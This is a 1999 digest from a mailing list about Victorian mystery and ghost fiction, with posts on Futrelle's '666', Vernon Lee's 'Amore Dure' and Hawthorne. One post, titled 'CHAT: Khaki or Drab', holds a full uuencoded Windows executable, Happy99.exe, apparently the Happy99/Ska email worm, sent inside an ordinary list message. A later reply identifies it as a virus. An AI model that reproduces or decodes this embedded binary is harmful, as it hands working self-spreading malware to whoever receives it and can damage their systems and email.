In this issue: Re: Gaslight Digest V1 #43 Re: Futrelle's 666th Vernon Lee's Amore Dure Today in History - Feb. 17 Nathaniel Hawthorne's ghost stories RE: Futrelle's 666th Re: CHAT: Khaki or Drab Re: CHAT: Khaki or Drab Casting the Runes Re: Casting the Runes Re: Casting the Runes CHAT: Viruses Re: CHAT: Viruses More Happy99.exe info RE: More Happy99.exe info -----------------------------THE POSTS----------------------------- Date: Wed, 17 Feb 1999 13:27:32 -0500 (EST) From: DOUGLAS GREENE <dgreene(at)odu.edu> Subject: Re: Gaslight Digest V1 #43 >Doug G is _Death locked in: an anthology of locked room mysteries_ (1994) also > your work? It contains a strange Thinking Machine story, "The house that was" > (1907) which was written as a sequel to his wife's (May Futrelle) story "The > grinning god". Yep: That's an anthology I put together some 12 years ago with Bob Adey; the 1994 reprint is, I think, a Barnes & Noble made-for-bargain-book counter item; it may still be in print in that form--at least I still get 20 or 30 bucks a year royalties . . . . "The House That wWs"/"The Grinning God" is my favorite Futrelle. An entire house disappears, and the tale seems a supernatural horror story--until The Thinking Machine provides a rational explanation. The story has never appeared in a Futrelle book. Doug
===0===
Date: Wed, 17 Feb 1999 10:51:21 -0800 From: Annie Craft-Kincheon <anniec(at)leland.Stanford.EDU> Subject: Re: Futrelle's 666th Ooooh! This sounds scary! Please send me the name of this so that I can read it! Was it listed already? I am so behind that I do not recall seeing it. Thanks. annie At 01:17 PM 2/17/99 -0500, you wrote: >Are we reading "666" this week? I did so last night (found it in my Greene >anthology--love that set of books) and found it very very very weird. The >ending is very very very odd. This is a very very very dark story. > >Fascinating author, too, and to learn that he *probably* died with the >Titanic---brrr. > > >Richard King >rking(at)indian.vinu.edu > >sdavies(at)MtRoyal.AB.CA wrote: > >> Sam K remembers our hunt for the original publication of "666", which we >> finally >> traced to _Story teller_. Unfortunately we could never get a copy of the >> original, so it was never released on Gaslight. The story is available in >> one >> of the Hugh Greene anthologies. >> Stephen D. >> >> Incidentally, the numbering of the Gaslight posts was a feature of the old >> Mailserv software. I miss it now that we are using Majordomo, but all in >> all it >> has been a step forward to migrate to this software. >> >> "S.T. Karnick" <skarnick(at)INDY.NET> on 02/13/99 08:09:47 PM >> >> Please respond to gaslight(at)MtRoyal.AB.CA >> >> To: gaslight(at)MtRoyal.AB.CA >> >> cc: (bcc: Stephen Davies/Academic/MRC) >> >> Subject: Futrelle's 666th >> >> Robert G. wrote, in part: >> >> >By the way, Al, this book also mentions the elusive tale "The Mystery of >> >Room 666" classifying it as a non-Thinking Machine tale yet, at the same >> >time, as "an intriguing page-turner with a startling conclusion" and >> >then adds that, according to Hugh Greene, it was "discovered by Jack >> >Kelson of Tunbridge Wells, England in the Story-Teller, a now defunct >> >British magazine." Hmm... Going now to check my Greene anthologies to >> >see if Mr. Greene included this tale in one of his Rivals of Sherlock >> >Holmes series. >> >> I vaguely remember discussing this story around the time Gaslight reached >> message #666. (The messages used to be numbered, which may no longer be the >> case.) I had recently read the story in some anthology or other -- think I >> may still have a copy somewhere -- and found it quite enjoyable. Very good >> locked room impossible crime, as I recall, with an interestingly sinister >> atmosphere. I don't recall whether the story was ever released to the >> Gaslight list, but it may well have. Perhaps Bob or Deborah or another, >> well, _vintage_ member of the group recalls better than I. >> >> Best w's, >> >> S.T. Karnick > > >
===0===
Date: Wed, 17 Feb 1999 11:04:31 -0800 From: Patricia Teter <PTeter(at)getty.edu> Subject: Vernon Lee's Amore Dure As an art historian, this week's story by Vernon Lee, "Amore Dure" is fascinating. The first five or six paragraphs sum up extraordinarily well the state of affairs in the field of Italian history, art history and archeology at the time. After the introduction, Lee jumps into a wonderfully eerie tale of the 16th century Italian femme fatale, Medea Malatesta, who steps into the 19th century life of our narrator, Spiridion Trepka. Poor fellow! Patricia
===0===
Date: Wed, 17 Feb 1999 12:49:22 -0700
From: Jerry Carlson <gmc(at)libra.pvh.org>
Subject: Today in History - Feb. 17
1801
The House of Representatives breaks an electoral college tie
and chooses Thomas
Jefferson over Aaron Burr.
1864
Confederate submarine H.L. Hunley sinks the USS Housatonic in
Charleston Harbor,
S.C.
1865
The South Carolina capital city, Columbia, is destroyed by fire
as Major General William
Tecumseh Sherman marches through.
1909
Apache chief Geronimo dies of pneumonia at age 80, while still
in captivity at Fort Sill,
Okla.
1919
Germany signs an armistice giving up territory in Poland.
Born on February 17
1774
Raphaelle Peale, U.S. painter
1874
Thomas J. Watson Sr., U.S. industrialist who converted a
financially ailing manufacturing
business into the international giant IBM.
1902
Marian Anderson, African-American concert artist best
remembered for singing the
national anthem at the Lincoln memorial.
===0===
Date: Wed, 17 Feb 1999 13:23:44 -0700 From: sdavies(at)MtRoyal.AB.CA Subject: Nathaniel Hawthorne's ghost stories I'm forwarding a message of Len R.'s which seems not to have been distributed to the Gaslight listmembers: Date: Mon, 15 Feb 1999 09:11:15 -0500 From: "Roberts, Leonard" <lroberts(at)email.uncc.edu> Subject: Nathaniel Hawthorne's ghost stories Hi Gassers, I received the following note from a list I subscribe to: The Snow-Image, And Other Tales. by Hawthorne (Nathaniel) London: Bohn, 1851. First British edition, first printing. Original decorated red-brown cloth, front and rear panels stamped in blind. This first British edition was issued in December 1851, simultaneous with or several days after the first American edition. Damp marks to cloth at upper corners, some chippi ng of extremities, still a nice copy. Ownership signature and date on title page. Sketches and tales including "The Snow Image" and "The Man of Adamant", a ghost story. (Keywords: fantasy, fiction, interplanetary, lost race, weird, utopian, supernatural, adventure fantasy & science fiction) The price of the book is US$ 350.00 Please reference the seller's book # 200033 when ordering. The seller is Serendipity Books 1201 University Ave , Berkeley, CA, U.S.A., 94702. <mailto:pbhoward(at)serendipitybooks.com> Ph: 510-841-7455. Fax: 510-841-1920. Terms of sale: Net, ppd, cash with order. Dealer discount 10%. Visa/Mastercard http://www.abebooks.com/cgi/abe.exe/routera^_pr=oi^_ph=1^_bi=2494001 Has anyone heard of The Snow-Image or The Man of Adamant? Are they worth reading? I certainly can't afford to buy the book, but I could search for the stories if they are worth it. I included all the information in case anyone of you would like to purchase it. I have no connection the bookstore or the list it appeared on beyond being a subscriber. Thanks, Len Roberts
===0===
Date: Wed, 17 Feb 1999 13:19:45 -0800
From: Patricia Teter <PTeter(at)getty.edu>
Subject: RE: Futrelle's 666th
Richard asks <<Are we reading "666" this week?>>
I think we are reading Vernon Lee's "Amore Dure" this
week? -- see Stephen's message below. This story contains
some very atmospheric scenes, my favorite scenes appear
at the end of the story in the church of San Giovanni
Decollato of all places. A portent of things to come for our
studious Spiridion.
Patricia
<<<Meantime, here's a strange love story for next week's discussion:
(AMORDURE.HTM) (Fiction, Chronos, SCHEDS)
Vernon Lee's "Amore dure: passages from the diary of Spiridion Trepka" (1887)
This is the story of a professor funded to research
in Italy, and who uncovers the strange history of a
fascinating woman.
Visit the Gaslight website at:
http://www.mtroyal.ab.ca/gaslight/amordure.htm
Stephen D
===0===
Date: Wed, 17 Feb 1999 22:59:26 +0000
From: Margaret Walker <Margaret.Walker(at)btinternet.com>
Subject: Re: CHAT: Khaki or Drab
begin 644 Happy99.exe
M35I0``(````$``/`__/``+(at)`````````0``:````````````````````````
M``````````````````````$``+H0``X?M`G-(;(at)!3,TAD)!4:&ES('!R;V=R
M86T(at);75S="!B92!R=6X(at)=6YD97((at)5VEN,S(-"B0W````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````%!%``!,`00`GR77C(at)``
M````````X`".(at)0L!`AD`"(at)```!8```````````$````!`````(at)```$`````!
M```"```!``````````,`"(at)`````````%```$`````````(at)``````$```(```
M```0```0````````$``````````````````#`$`#````````````````````
M``````````````````0`:`$`````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````0T]$10``````$``````!```*````!(at)``````````````````
M(```8$1!5$$``````!```````(at)``$````!```````````````````$```,`N
M:61A=&$````0``````,```0````(at)``````````````````!```#`+G)E;&]C
M````$``````$```"````)```````````````````0```4```````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````:`!X``!J0.C6"```A<`/A!T&``!0O^L.0(at)"K!6!M``"K!<(at)```"K
M6%!04%^XE````*OHMP(at)``%Z#QA"M(at)_(at)`#X3L!0``OLD-0(at)!67[F5````K/;0
MJN+Z:,(at)```#_->/.0(at)#HC0(at)``(7`#X2W!0``H_<.0(at)!HR````//U/PY"`&H`
MZ%8(``"%P`^$F`4``(LU/PY"``/P(at)^X%K"3?/$%U"L<%B(at)]"`/____^^(PY"
M`(L][PY"``,]]PY"`+D)````/Z1J`?/U[PY"`//U/PY"`.CO!P``O(at)``0(at)"+
M/>L.0(at)"M/45.1"!T%3U:15)/=`7WT*OK[*V+R#/`/ZOKXXO/*PWK#D(`B0W[
M#D(`OAH.0(at)"+/>/.0(at)`#/?<.0(at)"Y"0```/.D,/!0:(````!J`E!0:````$#_
M->/.0(at)#HNP<``$`/A.L$``!(H_/.0(at)!J`&C[#D(`_S7[#D(`_S7K#D(`_S7_
M#D(`Z$('``"%P`^$M`0``+X-#D(`BSWO#D(``SWW#D(`N0T```#SI(LU[PY"
M`(L]/PY"`(L-]PY"`(/!"?.DN'-K80"K:(at)'_-?,.0(at)#_->/.0(at)#H"(at)<``#/`
M4&B`````:(at)-04&(at)```#`_S7O#D(`Z"0'``!`=5(SP//UZPY"`&(at)'#T(`4&(at)_
M`!/`4%!0:"P.0(at)!H`(at)``(at).(at)(at)!P``N`(at)```!0N",.0(at)!`4&H!:(at)!0_S4'#T(`
MZ/T&``#_-0</0(at)#H_(at)8``.G[`P``2*->#D(`,/!04%!J!%#_-5X.0(at)#HI`8`
M`(7`#X3/`P``HV8.0(at)`SP%!04&H&_S5F#D(`Z*D&``"%P`^$I0,``*-J#D(`
MB_!F(at)3Y-6(at)^%DP,``(!^$GH/A(D#``#&1A)Z`W8/9H$^4$4/A7<#``")-7(.
M0(at)!FBT8&9J-V#D(`,/EFBPUV#D(`9HM&%&:C>`Y"`(O>(at)/,8,/!F`P5X#D(`
M`]B+`STN=&5X=",]+F5D870//2YD871T68/#*$EUX^M>BT,,*T,4HWH.0(at)#K
MY/=#)"```&`/A"P#``"!2R0```"`B1V>#D(`BT,0BWL(*/<]R(at)````^"#`,`
M`(M##(M3%"O"HWX.0(at)`#UXD5D(at)Y"`.N9BT,,*T,4HX(.0(at)#KFK^&#D(`BQ5Z
M#D(`BUYXBS5J#D(`*]H#WHM#'"O"`/:KBT,(at)*/(#QJN+0R0KP(at)/&JXM+&#/2
MBS6*#D(`QP6B#D(``````(L>*QUZ#D(``QUJ#D(`BP,]8V]N;G0(at)/7-E;F1T
M8D*#Q(at)1)==N#/:(.0(at)`"#X5Q`(at)``Z9(```"#PP2+`SUE8W0`==M25HL=C(at)Y"
M`-'B`]HSP&:+`XLUA(at)Y"`,'(at)`(at)/PBP:CE(at)Y"`*&2#D(``P5^#D(`(at)/``B0;_
M!:(.0(at)!>6NN>(at)/,$B(at),/`'654E:+'8X.0(at)#1X(at)/:,/!FBP.+-88.0(at)#!X`(#
M/(L&HYH.0(at)"AD(at)Y"``,%?(at)Y"`(/`1XD&_P6B#D(`7EKI5?___XLUG(at)Y"`(%&
M",H```!HJ(at)Y"`.A0!```A<`/A)H!``"CI(at)Y"`&BW#D(`_S6F#D(`Z#/$``"%
MP`^$?0$``*/?#D(`:,0.0(at)#_-:8.0(at)#H((at)0``(7`#X1(at)`0``H^,.0(at)!HT`Y"
M`//UI(at)Y"`.(at)%!```A<`/A$,!``"CYPY"`(L]D(at)Y"``,]:(at)Y"`.C*````G&#H
M`````%^!Q[T```"+7"0LBD,#/!EU"(M$)"BJ1^L*/'=U&T>+1"0HJN(at)(````
M4VMA+F1L;`"X_______0JV&=Z0````"<8.(at)`````7H/&=F:MBUPD*#KC=!`Z
MPW0"ZUOH#P```&UA:6P`Z`4```!N97=S`*U0N/______T(7`=#K_T#P!=#1F
MD^(at)`````7H/&-%9?,/"`^TYU"D>JK#P`=1E&ZPV`^TUU$:I'1JP/`'4)K5"X
M_______089WI`````````````%ZYR(at)```/.DH=/.0(at)")AV____^AYPY"`(E'
MKZ'C#D(`B4?MBQ5^#D(`H9(.0(at)`#PH/`1BL%E(at)Y"`/?0B8=Y____H9(.0(at)`#
MP(at)7#````*P6:#D(`]]")1_;_-6H.0(at)#HH(at)(``//U9(at)Y"`.CE`(at)``_S5>#D(`
MZ-H"``#_->L.0(at)#HU0(``(,]B(at)]"``!T!VK_Z(/"``!H``("`&I`Z)4"``"C
MZPY"`&H`Z&4"``"C?(at)]"`*,;#T(`N.<'00"C#P]"`,<%+P]"`&</0(at)!H"P]"
M`.BO`(at)``,/!0_S5^#T(`4%!H``(``&(at)``0``:F1J9&(at)```P`:&</0(at)!H9P]"
M`%#HI0(``*."#T(`:(at)'_-8(/0(at)#HF0(``//U(at)(at)]"`.B4`(at)``_S6"#T(`Z&L"
M``"C8P]"`#/`:(at)%04%!H,P]"`.A/`(at)``A<`/A;,```"A4P]"`(/(at)#Z-3#T(`
M(at)_(at)`#X0!`0``N0`0``"+->L.0(at)!15E^#QQ2+1(at)BKBT8,JX$&`!```*T!1(at)2M
M`48$K<'X$(O0K<'X$(O8K8/X`'4%(at)/8(ZTF`;OP!<P3&1OP`(at)&[]`7,$QD;]
M`(!N_(at)%S!,9&_(at)!64%)3_S5C#T(`Z/8!``!>K<'X$(O0K<'X$%9J`%)0_S5C
M#T(`Z-L!``!>(at)/8$64D/A7G_____!5,/0(at)#I-/___X,]-P]"`!)T%K(at)S#T(`
M4%#HJ0$``.B&`0``Z17_____-6,/0(at)#_-8(/0(at)#H4(at)$``,<%B(at)]"`/_____I
M/_[__UBCA(at)]"`(-/)`0"=0MJ`.(at)[`0``,/#K!>A*`0``BPV&#T(`4<.A3P]"
M`(/(at)#Z-/#T(`P>`-BSWK#D(``_BY``$``.AF````P>(at)(HUL/0(at)#H60```,'H
M"*-7#T(`Z$P```#!Z`(at)-#P^O`(O8Z#T```#!Z`^)!XE/!-M'!-G^V(at)_;1P39
M_]H/VQ_;7P2#QPBA5P]"`*NA6P]"`*N+PZN#QPSBR?/%3P]"`.EW_O__N!-`
M(0#W+5//0(at)`KT(at)41$%,"HU//0(at)##_R5D`$,`_R5H`$,`_R5L`$,`_R5P`$,`
M_R5T`$,`_R5X`$,`_R5/`$,`_R6``$,`_R6$`$,`_R6(`$,`_R6,`$,`_R60
M`$,`_R64`$,`_R68`$,`_R6<`$,`_R6(at)`$,`_R6D`$,`_R6H`$,`_R6P`$,`
M_R6T`$,`_R6X`$,`_R7``$,`_R7$`$,`_R7(`$,`_R7,`$,`_R70`$,`_R74
M`$,`_R78`$,`_R7<`$,`_R7(at)`$,`_R7D`$,`_R7H`$,`_R7P`$,`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`+*EK__]____^__P_P``__]'_________[__Y?]:15)/"````/_^__]%[__Q
MX$OV,MY'_K,RWF]OJY>6C-^/C9"8C9Z2WY**C(O?G9K?C8J1WXJ1FYJ-WZB6
MD<S-/O7;R%I%4D/B````K[K__[/^^O](at)VBIQ6D523P(````?_W%>]/[]YO_U
M____]____________O____[____]____O_____[___W___[__________/_U
M__________G___O________]____6D523P(```#__^___^_________O____
M___[_Z________S_D_[__UI%4D/&````___Z_Q/___]:15)/%````+RPN[K_
M_____^_______O__]?____G__UI%4D/#````W___G[N^J[[______^______
M_?___?___^___UI%4D/#````O___/]&6FYZ+GO___^_______/___?___^W_
M_UI%4D/#````O___/]&:FYZ+GO___^______^____?___^O__UI%4D/#````
MO___O]&-FI.0G/___^______^O___?___^G__UI%4D/#````O___KUI%4D_0
M````?(/;]_^+LGR#V_?^B_T4L$'#_[W_J:!&RO___U,)+U4=!9?_W___E;/7
M9_?__WH_BOO,/Q310&;_O?]4^D?T__]4^D?T__]4^A?/__]4?#^;5!3T`,IF
M_[W_%Y+W__]'_O___SWS_Q>4^O__?`:;/'AU____=/S:("`(at)(,*ROK:SBLUT
MO/O:`"`(at)(,+?N:VPBMR9=+SWF=H(at)`)G"LL6*ZG0,=,)>_[W_=O+__[W_#%L6
M(at)/[__W3/VB`(at)("#"K;ROJXK(=+S[V(at)`(at)(`#"WZNPQ8K7%T_X__]V/OO_O?/7
M(O[__WP'__![MO[__SCZ:O^]_P`````6SO[__Q;*_O__%/'/__]/!__P>MC^
M__]TRF+_O?^94IG"___P>^K^__]/PFK_O?__/'H*____%U#[__]>?O^]_W3B
M9O^]_Q>6^___?`<`/'L/____%T_[__]'^O___T3E_[W_%[/[__]/!P#P>RS_
M__/7!_G__/+-RL_?/'H/____1_G___]$]_^]_Q?;^___?`<`/'M4____%R_Y
M___"S<K/W_!Z9/___U[__[W_=.)>_[W_%P3/__]/!P#P>WW___/76/G__/+-
MRL_?BHETRF+_O?]TZE[_O?]/%<W,-G014[[$#8BBP_^+W//UB(at)UT/G0B%T//
M__]/!P"+N!>3^?__PLW*S]^*Q!0M1_G___]$/?^]_Q=E_/__?`<`B]H7M?G_
M_/+,RLO?BN8X^FK_O?______=,)B_[W_S#]41_[___//1[*RLK(/%VW/__]/
M!IN-EA<,_O__?`?_BJ`7>/S__UY^_[W_=.)F_[W_%[[/__]/!P"+M!=S_/__
M1_K___]$Y?^]_Q?7_/__?`<`B/T7)_K__/+-R/_?BME'^?___T3K_[W_%_?/
M__]/!P"+[1='^O__PLS+S]^*^4?^____/$>QL;&Q/)]T%)6;`,I6_[W_%P[Z
M__]Z/_![F/[__UR"_[W_09G_O?]TPE;_O?_/PH+_O?]&]/___PQ;E?^7?___
M_Y7[E?^5_Y?___/_`,I6_[W_%QKZ__^_/'O9_O__MUR*_[W_E/WK__^5OQ=C
M^O__>C_P>_[^__]<>O^]_Y7_EX;_O?^7_^O__P#*>O^]_P#*BO^]_Q>!^O__
M>C_P>QW___]^PH;_O?__Z___C<(at)`RHK_O?/7=OK__Y7_EW____^5_97_E?^7
M____/P#*5O^]_Q>9^O__O_![6/___[=<BO^]_Q1G=`I/.?=2="=2="]TRGK_
MO?]T,?SRAO^]_U+$/(O]%/=2Q#V+N'P1^WP1_)E2Q`Z,]IG"/O6+';$4#G0!
M=`I/.?=T/OO_O?]/%O>NJ`Q;F4?R]9E4H*:5_Y>&_[W_KJ(at)`RHK_O?/7'OO_
M_Q3B`,IZ_[W_%TG[__/`RHK_O?/7)/O__YY'`````#P`RGK_O?/79OO__P#*
MBO^]_Q=!^___GLP_/)]T#'0!_`9T,'P^F/PMF73AF7X<("!T$9E^!+FMB[ET
M"IE^!*RJBZQT"IE^!+&ZBX]T"IE^!+R//'MF____=`J9?(at)2]O/![5O___W0*
MF7X$/O7P>T;___]T"KG$#O!/&____Q16F5)2VB`(at)``#"L++%WXI4%RK___/4
M;)E24MH(at)("`(at)PKVUNKR*85+:(```_/*KQ=__BFX73?___Q:2````F5)2VB`(at)
M("#"J*RXK8I^4MH(at)("`(at)PK"JKZSP>H/```"94IG"Q=_P>IL````7(at)____Q;(
M````F5)2V(at)``___"Q=____!ZJP```!>(at)____%N4```"94E+:(```_/*/Q=__
M/'J[````%[W___/6`(at)$``%+"/O7R]?!ZQ````*]'I]*LCU1'GI&,E%1'GL7?
MIE291YJ,F51//?&G5+V]=NI^_[W_GLP_/)Y'`````#QT"G3"9O^]__P%4U6]
M?(at)5Y]/__B/O#]8H./'07E?^OK`#*<O^]_P#J=O^]_WP'`(KJ%Q']___"S-C_
M_XK[=#H4)$<`````/'2CV/MTL]O'/'2CV/]VXG+_O?^GI*RO?#S$=/S/)WP/
M^W;B=O^]_SR7_Z___Y6_%T3]__]Z/_![K_W__UQZ_[W_E9L`RE;_O?/79/W_
M_WH_/'O4_?__7(+_O?]!HO^]_W3"5O^]__S"(at)O^]_T;V____#%N5_Y=_____
ME?R5_Y7_E____W/`RE;_O?/7</W__[_P>Q7^__^W7([_O?^7V/^]_P#*CO^]
M_Q>3_?__O_![/?[__[=<V/^]_Y7_E?^5_Y7]E?/`RH[_O?/7Z_W__WH_/'M(at)
M_O__7.#_O?^5_Y7_E?^5^P#*X/^]_Q?M_?__>C_P>XO^__]<W/^]_T'#_[W_
M=,)Z_[W_1N;___/,6/PM7MC_O?^OF432_YD(#,PVF70W=O+4_[W_=^K0_[W_
M=,K<_[W_HOP1=.K4_[W_3[)51O#____$"HK[S3/4_E-U'S/7_=O`BOW[O_O?
M574[/Q_[V/]U!/0*BOO-/Q3^4W4?/Q?[V_#U.-O`BOW[O_O?574[/Q_]VP-U
M!/0*BOO-/Q3^4W4?/Q?YV_SU.-O`BOW[O_O?574[V/"*_?N_^]]5MHILF4?R
M]9E4M8I]7]#_O?_#_XO4^]]5S#_,+<PV7]#_O?],_`D,=3=[&XO]F;Y%_O__
M_SGZT/^]__/6J0```$&J_[W_1O?___/,6W0PU/)Z_[W_=O+'_[W_S"W,-E['
M_[W_F407_)D(#)ET-W;RS_^]_W;JR_^]_W3*>O^]_P#ZS_^]_T(7_/__?,+/
M_[W__HKY=-++_[W_=#IT(1=]`(at)``?`<`B_7/"(at)#RS_^]_XHK`,K<_[W_%UW_
M__/`RN#_O?/74/___P#*CO^]_Q=;____`,IZ_[W_%Y;___//E?^5PP#*6O^]
M_P#*<O^]_Q?*____?`<`BQETXEK_O?]T_#R?=,IB_[W_="E^/:OT__]3Q`V,
M[L/_B(at)BQ=`%T#`Q;1_____]4GCP`VL/_O//`VK__O//`VK?_O//`VK/_O//`
MVJ__O//`VJO_O//`VJ?_O//`VJ/_O//`VI__O//`VIO_O//`VI?_O//`VI/_
MO//`VH__O//`VHO_O/___UI%4D]!````K:RZJ_+UN[ZKOO+UK["LJ_+U/O71
M/O7_6D523P<````-"F)E9VEN(#8T-"!(87!P>3DY+F5X90T*8`T*96YD#0I<
M4VMA+F5X90!<;&ES=&4N<VMA`/___UI%4D]F````(at)__/_//__/]:15)/`P``
M`'?__/^W__S_6D523P4```!I__S_8?_/______]/__S_.?_/_R/__//5__S_
M"?_/__W^_/_M_OS_V_[/_/G^_/^]_OS_K_[/_Z'^_/______J*RPO+3,S=&;
MDY/_M+JML;JSS,W1FY.3_____XV:G(G_____J*R^N)J+LYZ,B[J-C9"-____
MO(V:GHN:N9:3FK*>CX^6D9B^_____[B:BZR&C(N:DKN6C9J<BY"-AK[___^S
MD)R>D[Z3DY"<_____[.0G)Z3N8V:FO___ZV:GINYEI.:_____[*>CZF6FHBP
MF;F6DYK___^LFHNYEI.:KY"6D8N:C?____^JD9*>CZF6FHBPF;F6DYK___^H
MC9:+FKF6DYK___^XFHNYEI.:K):%FO___[R-FIZ+FKF6DYJ^____O).0C)JW
MGI&;DYK_6D523R(at)```##__O__O____W____]____U__[_/__^__'__O_F/_^
M_[_]_O^Y__O_M/_[_____O^2GIN3D]&[L[/_DIZ6D_^1FHB,_UI%4D]L````
M___^_Q/____NS/C/J<];SU7/)L/2S_#.WL[-SL?.JLZ"SE_.6<XYSC/.^,W<
MS=+-I<V?S8;-9LTYS2?-(LT<S1;-]/SES,S,Q<RZS+3,H<R5S'C,9LQ3S$O,
M'<P'S/_+/LOGR]7+RLM^RFO*3<I'RAG*!<KKR>/)T<G,R<;)P,FAR8_)BLF$
MR7+)8LE0R4+),,DKR27)%/D$R?[(^,COR&S(6LA#R#C(*<(at)CR!K("L(at)$R/['
M^,?MQ^3'SL?&Q[O'L,>EQY7'C/=_QW7'3/=)QT/'/<<WQS''*/<EQQ_'&<<3
MQPW'!/<!QUI%4D]&`(at)``14Y$(`"VC-^6B]^>WXF6C8J,T]^>WXB0C9+3WY[?
MBXV0E9Z1P-^RL*JKTK*PJJO?MX:=C9:;W]><UM^LCYZ1C)2>W/[&QL;1_Z.(
MC)"<E,S-T9N3D_^CK)2>T9N3D_^CK)2>T9J'FO^LD)F+B)Z-FJ.REIR-D(R0
MF8NCJ):1FY"(C*./BHV-FI&+J9J-C):0D:.MBI&PD9R:_P``````````````
M````````````````````````````````````````````````````````````
M``````````````````````````!+15).14PS,BYD;&P`3&]A9$QI8G)A<GE!
M`$9R965,:6)R87)Y`$=E=%!R;V-!9&1R97-S````````````````````````
M`````````````````````````````````````T``````````````````````
M``````````````<`````````````````````````````````````````````
M````````````````````````````$;NJ_P````!(87!P>2!.97<(at)665A<B`Q
M.3DY("$A````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````#X``,`9``#``````````````````4!`P"P``,`````
M````````````$(at)$#`,```P`````````````````=`0,`/``#````````````
M````````````````*`$#`#0!`P!&`0,`7(at)$#`'(!`P!^`0,`D`$#`)X!`P"L
M`0,`P(at)$#`-`!`P#F`0,`](at)$#``P"`P`:`(at),`*`(#`#0"`P!$`(at),``````%`"
M`P!B`(at),`=`(#``````""`(at),`C(at)(#`*`"`P"R`(at),`P(at)(#`,H"`P#>`(at),`/`(#
M``(#`P`0`P,`(`,#```````T`P,``````$M%4DY%3#,R+F1L;`!!1%9!4$DS
M,BYD;&P`55-%4C,R+F1L;`!'1$DS,BYD;&P`````5W)I=&5&:6QE````56YM
M87!6:65W3V9&:6QE````1V5T5VEN9&]W<T1I<F5C=&]R>4$`````1V5T36]D
M=6QE2&%N9&QE00````!#;W!Y1FEL94$```!'9710<F]C061D<F5S<P````!%
M>&ET4')O8V5S<P```$=E=$9I;&53:7IE````1V5T36]D=6QE1FEL94YA;65!
M`````$QO8V%L06QL;V,`````0W)E871E1FEL94UA<'!I;F=!`````$=E=%9E
M<G-I;VY%>$$```!'9713>7-T96U$:7)E8W1O<GE!````0W)E871E1FEL94$`
M``!#;&]S94AA;F1L90```$QO8V%L1G)E90```$UA<%9I97=/9D9I;&4```!2
M96%D1FEL90````!296=3971686QU945X00````!296=#<F5A=&5+97E%>$$`
M``!296=#;&]S94ME>0```%)E;&5A<V5$0P```%)E9VES=&5R0VQA<W-!````
M`%!O<W11=6ET365S<V%G90```%!E96M-97-S86=E00````!'971$0P```$1I
M<W!A=&-H365S<V%G94$`````1&5F5VEN9&]W4')O8T$`````0W)E871E5VEN
M9&]W17A!````4VAO=U=I;F1O=P````!5<&1A=&57:6YD;W<`````5')A;G-L
M871E365S<V%G90````!39710:7AE;%8`````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````````````!`&(at)!```6
M,$8P7C!P,'LPD#"B,*LPL3"W,,8PS##6,-PP`3$',0PQ$C$8,38Q2#%/,54Q
M6S%A,7,Q>3%_,8PQDC&8,:LQL3'-,=TQXC'P,04R$C(=,BTR.S)-,EHR;#*;
M,J4RKC*X,L8R/C(.,RXS-C-#,THS4#-9,X`SAC.2,Y(at)SM3/5,^0S/#/U,_LS
M!C0;-"HT-C0[-$$T3#19-&4T=S1/-((TE#29-)/TL32V-+PTSC34--HTMC7!
M-<DUTC77->(U[S7/-0<V$C8=-B(at)V9#8S-DXV6C9?-FDV;S9S-G(at)VAC:(at)-J4V
ML#:X-L,VSC;8-N0V]C;^-A(W;3>(-Y/WJC>R-/DWSS?:-^DW!C(at)-.!4X'C(at)R
M.#/X=CA/.(LXFSBG.*XXM#BZ.,`XQCC,.-(XV#C>..0XZCCP./8X_#(at)".0(at)Y
M#CD4.1HY(#DF.2PY,CDX.3XY1#E*.5`Y5CE<.6(Y:#EN.0``````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
*````````````````
`
end
===0===
Date: Wed, 17 Feb 1999 18:50:11 -0500 (EST)
From: Robert Champ <rchamp(at)polaris.umuc.edu>
Subject: Re: CHAT: Khaki or Drab
I understand that the Happy99.exe file contains a virus that corrupts
e-mail, which may well be what happened to Margaret's message. The
file _cannot_ migrate into your computer simply by opening mail; it
only infects your system when you download and open it. The best
preventative is not to download any message from someone you don't know.
It is really unfortunate that anyone smart enough to create a computer
virus is wasting the time it takes to do so, and doing harm that may
well be incalculable in some cases.
Bob C.
On Wed, 17 Feb 1999, Margaret Walker wrote:
> begin 644 Happy99.exe
> M35I0``(````$``/`__/``+(at)`````````0``:````````````````````````
> M``````````````````````$``+H0``X?M`G-(;(at)!3,TAD)!4:&ES('!R;V=R
_________________________________________________
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Robert L. Champ
rchamp(at)polaris.umuc.edu
Editor, teacher, anglophile, human curiosity
Whatever things are pure, whatever things are
lovely, whatever things are of good report, if
there is any virtue and if there is anything
praiseworthy; meditate on these things
Philippians 4:8
rchamp7927(at)aol.com robertchamp(at)netscape.net
_________________________________________________
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
===0===
